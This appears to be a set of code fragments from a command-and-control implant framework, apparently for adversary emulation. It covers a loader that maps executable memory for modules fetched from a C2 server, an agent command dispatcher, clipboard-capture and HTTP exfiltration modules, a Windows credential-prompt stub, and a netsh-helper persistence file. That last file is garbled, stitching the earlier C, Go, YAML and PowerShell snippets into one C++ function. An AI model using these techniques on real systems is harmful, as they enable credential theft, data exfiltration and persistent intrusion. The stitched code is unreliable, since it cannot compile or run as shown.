Alex Manners khyberspache

## pie_blob.c
// example pie_blob.c
int f1(int v, void (* exit)(int)){
    (*exit)(0);
    return v;
}

## pie_blob_loader.c
// Request the pie_blob module from the C2 server
// mmap exectuable memory

fptr = mmap(NULL, sb.st_size, PROT_READ | PROT_EXEC | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

// read the blob into memory
result = fread(fptr, 1, sb.st_size, pBlob);

// grab whatever libraries/symbols I want (or even better, just get pointers to dlsym/dlopen)
handle = dlopen(LIBC_FILE, RTLD_LAZY);

## run_command.go
func RunCommand(message string, executor string, payloadPath string) (string, int, int) {
    if executor == "keyword" {
        switch message {
        case "stop agent":
            os.Exit(0)
        case "module":
            // do module stuff
        default:
            // do other stuff
        }

## module_syntax.yml
module.collect.captureClipboard

## payload_syntax.yml
#{operator.payloads}/path/to/payload/collect-windows.exe
#{operator.payloads}/path/to/payload/collect-linux
#{operator.payloads}/path/to/payload/collect-darwin

## capabilities.go
package main

import ()

var (
    ModuleName = "collect"
    Functions = map[string]func(args []string) ([]byte, int){
        "captureClipboard": captureClipboard,
    }
    ExecFunctions = map[string]func(args string) (){

## modular_command_args.yml
command: |
    module.exfil.httpServer.["#{operator.http}", "#{file.T1056.001}", "#{agent.name}", "#{operator.session}"]

## standalone_func.go
RunStandalone("GoCapture", "C:\File\Path\To\Capture\into.tmp")

## Invoke-PromptForCredentials.ps1
$type=@"
using System;
using System.Text;
using System.Runtime.InteropServices;

public static class CredUI
{

	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
	private struct CREDUI_INFO

## whisperNetshHelperPersist.cpp
#include <locale>
#include <cstdlib>
#include <stdio.h>
#include <string>
#include <Windows.h>
#include "Syscalls.h"

LONG GetStringRegKey(HKEY, const std::wstring&, std::wstring&, const std::wstring&);

DWORD WINAPI RunBin(LPVOID lpParameter) {
	// example pie_blob.c
	int f1(int v, void (* exit)(int)){
	(*exit)(0);
	return v;
	}
	// Request the pie_blob module from the C2 server
	// mmap exectuable memory

	fptr = mmap(NULL, sb.st_size, PROT_READ \| PROT_EXEC \| PROT_WRITE, MAP_PRIVATE \| MAP_ANONYMOUS, -1, 0);

	// read the blob into memory
	result = fread(fptr, 1, sb.st_size, pBlob);

	// grab whatever libraries/symbols I want (or even better, just get pointers to dlsym/dlopen)
	handle = dlopen(LIBC_FILE, RTLD_LAZY);
	func RunCommand(message string, executor string, payloadPath string) (string, int, int) {
	if executor == "keyword" {
	switch message {
	case "stop agent":
	os.Exit(0)
	case "module":
	// do module stuff
	default:
	// do other stuff
	}
	#{operator.payloads}/path/to/payload/collect-windows.exe
	#{operator.payloads}/path/to/payload/collect-linux
	#{operator.payloads}/path/to/payload/collect-darwin
	package main

	import ()

	var (
	ModuleName = "collect"
	Functions = map[string]func(args []string) ([]byte, int){
	"captureClipboard": captureClipboard,
	}
	ExecFunctions = map[string]func(args string) (){
	command: \|
	module.exfil.httpServer.["#{operator.http}", "#{file.T1056.001}", "#{agent.name}", "#{operator.session}"]
	$type=@"
	using System;
	using System.Text;
	using System.Runtime.InteropServices;

	public static class CredUI
	{

	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
	private struct CREDUI_INFO
	#include <locale>
	#include <cstdlib>
	#include <stdio.h>
	#include <string>
	#include <Windows.h>
	#include "Syscalls.h"

	LONG GetStringRegKey(HKEY, const std::wstring&, std::wstring&, const std::wstring&);

	DWORD WINAPI RunBin(LPVOID lpParameter) {